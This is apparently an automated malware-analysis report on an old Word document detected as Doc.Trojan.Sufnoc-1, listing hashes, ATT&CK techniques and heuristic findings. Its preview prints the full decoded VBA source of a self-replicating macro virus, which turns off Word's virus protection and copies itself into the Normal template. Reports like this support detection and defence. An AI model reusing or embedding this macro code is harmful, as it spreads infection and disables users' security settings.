Office (OLE) malware analysis — malicious · 31c37f253d607fae

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-01-26 06:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 1484487523a4dc425c7e16ed95c6a2d6 SHA-1: 779f8a1840dd5fb3ade8e33829456fc3fe1b841c SHA-256: 31c37f253d607fae44e7326a879c2bc4859762ebd0eb11371c1a7deb373c0e2f

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The script attempts to disable virus protection and save the document, indicating an intent to maintain its malicious functionality or prepare for payload execution. The heuristic 'OLE_VBA_DOCOPEN' and the presence of VBA code strongly suggest this malicious behavior.

Heuristics 3

ClamAV: Doc.Trojan.Sufnoc-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Sufnoc-1
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1013 bytes
SHA-256: `251e6b24020340aabc0b8628d57642e64c9b9294217bb1434df1b33f0b157fb7`
Detection ClamAV: Doc.Trojan.Sufnoc-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() If Day(Now) = 31 Then Application.WindowState = wdWindowStateNormal A = Application.Height For B = 1 To A Application.Height = A - B Application.ScreenUpdating = False DoEvents Next Application.Caption = "ATTENTION: Elvis Has Left The Building!" End If Set C = Options C.VirusProtection = 0 C.SaveNormalPrompt = 0 C.ConfirmConversions = 0 For D = 1 To 3 If D = 1 Then Set E = ThisDocument If D = 2 Then Set E = ActiveDocument If D = 3 Then Set E = NormalTemplate Set F = E.VBProject.VBComponents.Item(1).CodeModule If D = 1 Then G = F.Lines(1, F.CountOfLines) If D <> 1 Then F.DeleteLines 1, F.CountOfLines If D <> 1 Then F.AddFromString G Next ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.